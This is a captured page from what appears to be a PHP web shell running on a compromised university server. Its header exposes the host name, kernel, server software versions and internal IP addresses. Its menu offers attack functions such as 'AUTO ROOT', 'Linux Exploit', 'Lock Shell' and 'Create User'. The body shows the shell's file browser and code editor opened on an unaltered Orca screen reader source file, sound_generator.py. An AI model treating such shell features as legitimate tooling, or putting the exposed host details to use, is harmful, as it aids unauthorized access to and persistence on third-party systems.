Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
orca /
scripts /
web /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
bookmarks.py
4.95
KB
-rw-r--r--
braille_generator.py
11.39
KB
-rw-r--r--
__init__.py
1.03
KB
-rw-r--r--
script.py
105.03
KB
-rw-r--r--
script_utilities.py
194.59
KB
-rw-r--r--
sound_generator.py
4.04
KB
-rw-r--r--
speech_generator.py
32.33
KB
-rw-r--r--
tutorial_generator.py
1.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sound_generator.py
# Orca # # Copyright 2016 Igalia, S.L. # # Author: Joanmarie Diggs <jdiggs@igalia.com> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the # Free Software Foundation, Inc., Franklin Street, Fifth Floor, # Boston MA 02110-1301 USA. """Utilities for obtaining sounds to be presented for objects.""" __id__ = "$Id:$" __version__ = "$Revision:$" __date__ = "$Date:$" __copyright__ = "Copyright (c) 2016 Igalia, S.L." __license__ = "LGPL" import pyatspi from orca import settings_manager from orca import sound_generator _settingsManager = settings_manager.getManager() class SoundGenerator(sound_generator.SoundGenerator): def __init__(self, script): super().__init__(script) def _generateClickable(self, obj, **args): """Returns an array of sounds indicating obj is clickable.""" if not _settingsManager.getSetting('playSoundForState'): return [] if not self._script.utilities.inDocumentContent(obj): return [] if not args.get('mode', None): args['mode'] = self._mode args['stringType'] = 'clickable' if self._script.utilities.isClickableElement(obj): filenames = [self._script.formatting.getString(**args)] result = list(map(self._convertFilenameToIcon, filenames)) if result: return result return [] def _generateHasLongDesc(self, obj, **args): """Returns an array of sounds indicating obj has a longdesc.""" if not _settingsManager.getSetting('playSoundForState'): return [] if not self._script.utilities.inDocumentContent(obj): return [] if not args.get('mode', None): args['mode'] = self._mode args['stringType'] = 'haslongdesc' if self._script.utilities.hasLongDesc(obj): filenames = [self._script.formatting.getString(**args)] result = list(map(self._convertFilenameToIcon, filenames)) if result: return result return [] def generateSound(self, obj, **args): """Returns an array of sounds for the complete presentation of obj.""" if not self._script.utilities.inDocumentContent(obj): return super().generateSound(obj, **args) result = [] if args.get('formatType') == 'detailedWhereAmI': oldRole = self._overrideRole('default', args) elif self._script.utilities.isLink(obj): oldRole = self._overrideRole(pyatspi.ROLE_LINK, args) elif self._script.utilities.treatAsDiv(obj): oldRole = self._overrideRole(pyatspi.ROLE_SECTION, args) else: oldRole = self._overrideRole(self._getAlternativeRole(obj, **args), args) result.extend(super().generateSound(obj, **args)) result = list(filter(lambda x: x, result)) self._restoreRole(oldRole, args) return result def generateContents(self, contents, **args): """Returns an array of an array of sounds for the contents.""" if not len(contents): return [] result = [] contents = self._script.utilities.filterContentsForPresentation(contents, False) for i, content in enumerate(contents): obj, start, end, string = content icon = self.generateSound( obj, startOffset=start, endOffset=end, string=string, index=i, total=len(contents), **args) result.append(icon) return result
Close